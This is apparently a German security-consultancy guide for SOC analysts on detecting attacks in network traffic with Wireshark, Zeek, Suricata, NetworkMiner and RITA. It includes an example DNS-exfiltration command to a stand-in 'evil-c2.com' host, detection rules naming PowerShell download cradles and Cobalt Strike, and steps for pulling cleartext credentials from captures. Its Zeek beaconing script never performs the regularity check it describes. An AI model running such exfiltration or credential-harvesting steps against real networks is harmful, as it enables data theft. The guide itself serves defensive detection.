TL;DR
Netzwerk-Traffic-Analyse ist entscheidend, um Angriffe zu erkennen, die Endpunkt-Logs nicht erfassen. Dieser Guide stellt die wichtigsten Tools und Methoden vor, um Spuren wie Beaconing, DNS-Exfiltration oder NTLM-Relay im Netzwerkverkehr sichtbar zu machen. Wireshark ermöglicht die detaillierte Paket-Analyse mit Capture- und Display-Filtern, etwa um Port-Scans über viele TCP-SYN-Pakete zu identifizieren oder TLS-Verbindungen zu entschlüsseln. Zeek (ehemals Bro) bietet tiefgreifendes Logging und Scripting zur Erkennung von Verhaltensmustern, beispielsweise regelmäßiges Beaconing zu C2-Servern durch Analyse des Connection-Logs. Suricata dient als IDS/IPS mit regelbasierten Signaturen, um bekannte Bedrohungen wie Port-Scans aktiv zu detektieren.
Diese Zusammenfassung wurde KI-gestützt erstellt (EU AI Act Art. 52).
Inhaltsverzeichnis (5 Abschnitte)
Netzwerk-Traffic-Analyse ist eine Kernkompetenz des SOC-Analysten: Angriffe hinterlassen Spuren im Netzwerkverkehr die kein Endpoint-Log zeigt. Beaconing zu einem C2-Server, DNS-Tunneling, NTLM-Credential-Relay - all das ist im Netzwerk sichtbar wenn man weiß wo man sucht. Dieser Guide zeigt die wichtigsten Tools und Analysemethoden.
Wireshark - Paket-Analyse
Wireshark Grundlagen:
Capture-Filter (effizient: nur relevante Pakete):
host 192.168.1.100 # Nur Traffic von/zu dieser IP
net 10.0.0.0/8 # Nur 10.x.x.x Netzwerk
port 443 # Nur HTTPS
not port 53 and not port 123 # Kein DNS, kein NTP (Rauschen reduzieren)
tcp[tcpflags] & tcp-syn != 0 # Nur SYN-Pakete (Port-Scan erkennen)
Display-Filter (nach Capture, flexibel):
http.request.method == "POST" # HTTP POST-Requests
http.response.code >= 400 # HTTP-Fehler
dns.qry.name contains "evil" # DNS-Anfragen mit "evil"
ip.addr == 10.0.0.1 && tcp.port == 445 # SMB-Traffic von einer IP
ssl.handshake.type == 1 # Client-Hello (TLS-Verbindungen)
frame.len > 1000 # Große Pakete (Exfiltration?)
tcp.flags.reset == 1 # TCP-Resets (Verbindungsabrüche)
icmp.type == 8 # ICMP Echo (Ping-Sweep)
Folgen einer TCP-Session:
→ Rechtsklick auf Paket → "Follow" → "TCP Stream"
→ Zeigt vollständige Verbindung als Text
→ HTTP-Request/Response, FTP-Befehle, Cleartext-Credentials!
TLS-Entschlüsselung (mit Private Key):
# Wireshark → Edit → Preferences → Protocols → TLS
# RSA Keys List → Add:
# IP: 192.168.1.100, Port: 443, Protocol: http, Key File: server.key
# ACHTUNG: Nur möglich wenn kein Perfect Forward Secrecy!
# PFS (ECDHE): kein nachträgliches Entschlüsseln möglich!
# Alternative: Pre-Master-Secret-Logfile:
export SSLKEYLOGFILE=/tmp/ssl.log # Browser-Umgebungsvariable
# Wireshark → TLS → (Pre-)Master-Secret log filename: /tmp/ssl.log
Statistische Auswertung:
Statistics → Conversations: welche IPs kommunizieren am meisten?
Statistics → Protocol Hierarchy: Protokollverteilung
Statistics → IO Graph: Traffic-Volumen über Zeit (Spike = Verdacht?)
Statistics → Endpoints: alle aktiven IPs/Ports
Typische Angriffsmuster im Traffic
Angriffs-Signaturen im Netzwerk:
1. Port-Scanning (nmap):
Erkennungsmerkmale:
→ Viele TCP-SYN-Pakete von einer IP zu vielen Ports
→ SYN ohne ACK-Antwort (SYN-Scan)
→ Zeitintervalle: reguläres Muster (nmap-Default-Timing)
Wireshark-Filter:
ip.src == 10.0.0.50 && tcp.flags.syn == 1 && tcp.flags.ack == 0
# Zeigt alle SYN-Pakete ohne ACK → SYN-Scan
Suricata-Rule:
alert tcp $EXTERNAL_NET any -> $HOME_NET any (
msg:"Possible Port Scan";
flags:S,12; threshold: type threshold, track by_src,
count 50, seconds 10;
sid:10001;
)
2. Beaconing (C2-Kommunikation):
Erkennungsmerkmale:
→ Regelmäßige Verbindungen im festen Zeitintervall (z.B. alle 60 Sekunden)
→ Immer gleiche Payload-Größe (Heartbeat)
→ Ziel: unbekannte externe IP oder Domain
Wireshark-Analyse:
→ Statistics → IO Graph mit "ip.dst == C2_IP" → regelmäßige Spikes!
→ Time-Delta zwischen Paketen: konstant = Beaconing
Zeek-Detection:
# Beaconing mit Zeek Connection-Log:
# /opt/zeek/logs/current/conn.log analysieren:
cat conn.log | zeek-cut id.orig_h id.resp_h duration |
sort | uniq -c | sort -rn | head -20
# Viele kurze Verbindungen zu gleicher IP → Beaconing!
3. DNS-Exfiltration:
Erkennungsmerkmale:
→ Ungewöhnlich lange DNS-Anfragen (Subdomain = Daten!)
→ Hohe Frequenz von DNS-Anfragen zu einer Domain
→ Unbekannte TLD oder frisch registrierte Domain
Beispiel-DNS-Exfiltration:
# Daten als Base64-Subdomain:
nslookup aGVsbG8gd29ybGQ=.evil-c2.com
# "aGVsbG8gd29ybGQ=" = "hello world" in Base64
Wireshark-Filter:
dns && frame.len > 100 # Ungewöhnlich große DNS-Pakete
Zeek-Detection:
# DNS-Log analysieren:
cat dns.log | zeek-cut query | awk '{print length, $0}' |
sort -rn | head -20 # Längste DNS-Queries
4. NTLM-Relay / Credential Harvesting:
Erkennungsmerkmale:
→ SMB-Traffic von Workstation zu unbekanntem Host
→ NTLM-Authentication-Pakete (Security Blob im SMB)
→ Responder-Aktivität: LLMNR/NBT-NS-Anfragen
Wireshark-Filter:
ntlmssp # NTLM Security Service Provider Traffic
# Zeigt alle NTLM-Auth-Versuche
# SMB-Verbindungen von Workstations:
smb2 && ip.src == 192.168.1.0/24 && ip.dst != 10.0.0.1
5. Lateral Movement (SMB/WMI/RDP):
Erkennungsmerkmale:
→ Workstation → Workstation SMB-Traffic (ungewöhnlich!)
→ WMI (Port 135 + dynamic ports)
→ RDP (Port 3389) zu Servern
Wireshark-Filter:
smb2 && ip.src == 192.168.1.100 && ip.dst != 10.0.0.5
# SMB von Workstation zu allem außer File-Server
Zeek (früher Bro)
Zeek für kontinuierliche Netzwerkanalyse:
Installation und Grundkonfiguration:
# Ubuntu:
apt install zeek
# Konfiguration:
# /opt/zeek/etc/node.cfg
[zeek]
type=standalone
host=localhost
interface=eth0
# Starten:
zeekctl deploy
zeekctl status
Log-Dateien (in /opt/zeek/logs/current/):
conn.log → alle Verbindungen (Source, Dest, Duration, Bytes)
dns.log → DNS-Anfragen und -Antworten
http.log → HTTP-Requests (URL, Method, User-Agent, Response)
ssl.log → TLS-Verbindungen (JA3-Fingerprint, Zertifikat-Info)
files.log → Übertragene Dateien (MD5-Hash!)
weird.log → Protokoll-Anomalien
notice.log → Zeek-generierte Alerts
Zeek-Script für Beaconing-Detection:
# /opt/zeek/share/zeek/site/beacon-detect.zeek:
module BeaconDetect;
global connection_times: table[addr] of vector of time;
event connection_established(c: connection)
{
local src = c$id$orig_h;
if (src !in connection_times)
connection_times[src] = vector();
connection_times[src] += network_time();
if (|connection_times[src]| >= 10)
{
# Prüfe Regelmäßigkeit der Verbindungen:
local times = connection_times[src];
local intervals: vector of interval;
for (i in times)
if (i > 0)
intervals += times[i] - times[i-1];
# Wenn Standardabweichung der Intervalle < 5s → Beaconing!
NOTICE([$note=Notice::Weird, $msg=fmt("Possible beaconing from %s", src)]);
}
}
JA3/JARM Fingerprinting:
# SSL-Log enthält JA3-Hash des Clients:
cat ssl.log | zeek-cut ja3 ja3s id.orig_h id.resp_h |
head -20
# JA3: Client-TLS-Fingerprint (identifiziert Browser/Malware!)
# Bekannte Malware-JA3: ab4a5a42e2df4b3d54736f18de3a0ceb (Cobalt Strike)
# JARM: Server-TLS-Fingerprint (identifiziert Server-Software)
# Nützlich: C2-Server erkennen auch wenn IP wechselt
Suricata IDS/IPS
Suricata für regelbasierte Erkennung:
Regel-Syntax:
action protocol src_ip src_port -> dst_ip dst_port (options)
Beispiele:
# SQL-Injection in HTTP:
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (
msg:"SQL Injection Attempt";
content:"UNION SELECT";
http_uri;
nocase;
classtype:web-application-attack;
sid:20001; rev:1;
)
# PowerShell-Download via HTTP:
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"PowerShell IEX DownloadString";
content:"IEX"; http_client_body;
content:"DownloadString"; http_client_body;
classtype:trojan-activity;
sid:20002;
)
# Cobalt Strike Default Certificate:
alert tls any any -> any any (
msg:"Cobalt Strike Default Certificate";
tls.subject; content:"CN=Major Cobalt Strike";
classtype:trojan-activity;
sid:20003;
)
Emerging Threats Ruleset (kostenlos):
# Download und Update:
suricata-update update-sources
suricata-update enable-source et/open
suricata-update
systemctl restart suricata
# Kategorien:
# ET SCAN: Scanning-Aktivitäten
# ET MALWARE: Bekannte Malware-Kommunikation
# ET EXPLOIT: Exploit-Versuche
# ET PHISHING: Phishing-Traffic
Suricata-Logs analysieren:
# /var/log/suricata/fast.log:
03/04/2026-14:23:47.134567 [Alert] [1:20003:1] Cobalt Strike
[Classification: A Network Trojan was Detected]
{TCP} 192.168.1.50:55234 -> 185.220.101.33:443
# EVE-JSON für SIEM:
cat /var/log/suricata/eve.json | jq '.event_type == "alert"'
NetworkMiner für forensische Analyse
NetworkMiner (Windows, kostenlos):
Wozu NetworkMiner:
→ Analysiert PCAP-Dateien (kein Live-Capture nötig)
→ Extrahiert automatisch: Dateien, E-Mails, Credentials
→ GUI: einfacher als Wireshark für Anfänger
→ Hosts-Tab: alle Hosts mit Betriebssystem-Fingerprint
Credentials aus PCAP extrahieren:
# Cleartext-Protokolle: HTTP, FTP, Telnet, SMTP, POP3, IMAP
# NetworkMiner → Credentials-Tab:
→ Username, Passwort, Protokoll, Zeitstempel
Datei-Extraktion:
# NetworkMiner → Files-Tab:
→ Alle übertragenen Dateien (HTTP-Downloads, SMB-Transfers)
→ Hash (MD5) → VirusTotal-Lookup
# Oder: Tshark (Kommandozeile):
tshark -r capture.pcap --export-objects http,/tmp/extracted/
# Exportiert alle HTTP-übertragenen Objekte in Ordner
Tshark (Wireshark CLI) für Automatisierung:
# Alle DNS-Queries aus PCAP:
tshark -r capture.pcap -Y dns.flags.response==0 \
-T fields -e dns.qry.name | sort -u > dns-queries.txt
# Alle HTTP-User-Agents:
tshark -r capture.pcap -Y http.request \
-T fields -e http.user_agent | sort | uniq -c | sort -rn
# Verbindungen zu Port 445 (SMB):
tshark -r capture.pcap -Y "tcp.dstport == 445" \
-T fields -e ip.src -e ip.dst | sort | uniq -c
Pcap-Automatisierung (RITA - Real Intelligence Threat Analytics):
# RITA: Analysiert Zeek-Logs auf Beaconing, Scanning, Long Connections
# GitHub: activecountermeasures/rita
# Installation:
git clone https://github.com/activecountermeasures/rita
docker-compose up -d
# Zeek-Logs importieren:
rita import /opt/zeek/logs/current/ threat-hunt
# Beaconing-Report:
rita show-beacons threat-hunt | head -20
# Score | Source | Destination | Connections | Avg Duration Nächster Schritt
Unsere zertifizierten Sicherheitsexperten beraten Sie zu den Themen aus diesem Artikel — unverbindlich und kostenlos.
Kostenlos · 30 Minuten · Unverbindlich
